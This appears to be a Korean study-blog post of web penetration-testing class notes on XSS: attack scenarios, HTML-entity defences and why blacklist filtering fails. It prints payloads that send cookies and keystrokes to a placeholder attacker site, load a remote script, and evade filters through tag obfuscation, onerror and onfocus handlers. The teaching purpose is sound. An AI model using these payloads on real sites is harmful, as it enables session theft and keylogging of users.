본문 바로가기

웹 모의해킹 스터디/수업 정리

11주차 수업 정리 - 1 (XSS 공격 시나리오, XSS 대응 방안, 필터링은 대응방안이 아니다)

 

XSS 공격 시나리오

1. 쿠키 탈취
<script>
new Image().src = "http://공격자사이트.com/~~?cookie=".concat(document.cookie);
</script>
 
2. 악의적인 페이지로 리다이렉트 
Reflected XSS 공격이 통하는 곳에서
<script>
location.href = "https://악의적인사이트.com/~~"
</script>
 
3. 키로거 이용한 정보 탈취
el.addEventListener('keyup', () => {
          new Image().src = "http://공격자사이트.com/~~?cookie=".concat(event.key); 
});

 
 
 

XSS 대응 방안 -  HTML Entity

xss 공격의 대응 방안인 HTML Entity와 관련해서는 아래 글에 작성해두었다.

https://studysteadily.tistory.com/9

XSS(Cross Site Scripting) 공격이란? (종류, 방어기법)

1. XSS 공격이란? XSS 공격은 사용자 브라우저에 전달되는 데이터에 악성 스크립트를 포함시킨 뒤, 사용자 브라우저에 실행되면서 해킹하는 공격이다. SQL Injection과 함께 웹 취약점 중 가장 기초적

studysteadily.tistory.com

 
하지만 HTML Entity로 치환하는 방식에도 한 가지 함정이 존재한다. 바로 티스토리와 같이 사용자가 직접 HTML을 작성할 수 있는 경우다. 이러한 입력 방식을 HTML Editor라고 부른다. HTML Editor는 사용자가 HTML을 작성해서 게시글을 꾸밀수 있게 끔 하기 때문에 태그 인식을 막는 HTML Entity 사용이 불가능하다. 
 
하지만 다소 번거롭지만 이 경우에도 대응 방안이 존재한다.
 
1. 사용자 입력값(파라미터)에서 HTML 특수 문자(<, >, ', " 등)를 전부 HTML Entity로 치환한다.
2. 바꿔준 태그 중에서 화이트 리스트 기반으로 &lt;img&gt; 등 허용해줄 태그를 식별하고 다시 살린다. 
3. 살린 태그 내에 악의적인 이벤트 핸들러가 있는지 블랙 리스트 기반으로 필터링해서 제거한다.
 
여기까지 완료한다면 HTML Editor까지 모든 XSS를 막을 수 있다.

 
 
 

XSS 대응 방안 중 필터링이 답이 아닌 이유

필터링의 종류에는 블랙 리스트 기반 필터링화이트 리스트 기반 필터링이 있다. 블랙 리스트 기반 필터링은 위험한 것을 정의 & 금지하는 방식이고, 반대로 화이트 리스트 필터링은 안전한 것을 정의 & 허용하는 방식이다.
 
이러한 필터링 중 블랙 리스트 기반 필터링이 XSS의 대응 방안이 될 수 없는 이유는 우회할 가능성이 항상 존재하기 때문이다.  실제로 구글에 xss bypass 만 쳐봐도 기상천외한 방식들이 아주 많이 나온다. 
 
예를 들어보자
 
ex) 글자 길이를 제한한다면
<script src = "http://공격자사이트.com/a.js"></script> 같은 형식으로 악성 스크립트를 가져와서 로드 시키게끔 할 수 있다.
 
 
ex) script를 블랙 리스트에 포함한다면
<scscriptript></scscriptript> 혹은 <ScRiPt></ScRiPt> 등의 방식으로 충분히 우회가 가능하다.
 
 
ex) 서버에서 script 글자를 xript로 치환한다면
꼭 스크립트를 사용하지 않아도 된다!
<img src=x onerror="alert(1)"/> 혹은 <a href="javascript:alert(1)">test</a> 같이 img 태그나 a 태그를 이용해서 충분히 악성 스크립트를 실행시킬 수 있다.
 
 
ex) <input type="text" value="입력값"> 만약 사용자 입력값이 value 안에 입력되고, 꺽쇠는 필터링되어 사용하지 못하는 상황이라면?
onmouseover="alert(1)" : 마우스를 올리는 순간
onfocus="alert(1)" :  커서가 들어가는 순간
autofocus onfocus="alert(1)" : 자동 포커스가 들어가게 만들어서 스크립트 실행. 자주 쓰이는 조합이다.
 
이런 식으로 블랙 리스트 기반 필터링의 우회 방식은 너무나도 많고 가능성이 언제나 열려있기 때문에 위험하다.
 
 
그렇다면 화이트 리스트 기반 필터링 방식은 어떨까?
 
앞서 화이트 리스트 기반  필터링 방식은 안전한 것을 정의 & 허용하는 방식이라고 했다. 만약 게시판 글쓰기 페이지에서 이러한 필터링 방식을 사용한다면 사용자의 입력값은 극히 제한될 것이다. 오로지 정의된 글자만 입력이 가능하므로 매우 비효율적인 방식이다. 그래서 잘 사용하지 않는다.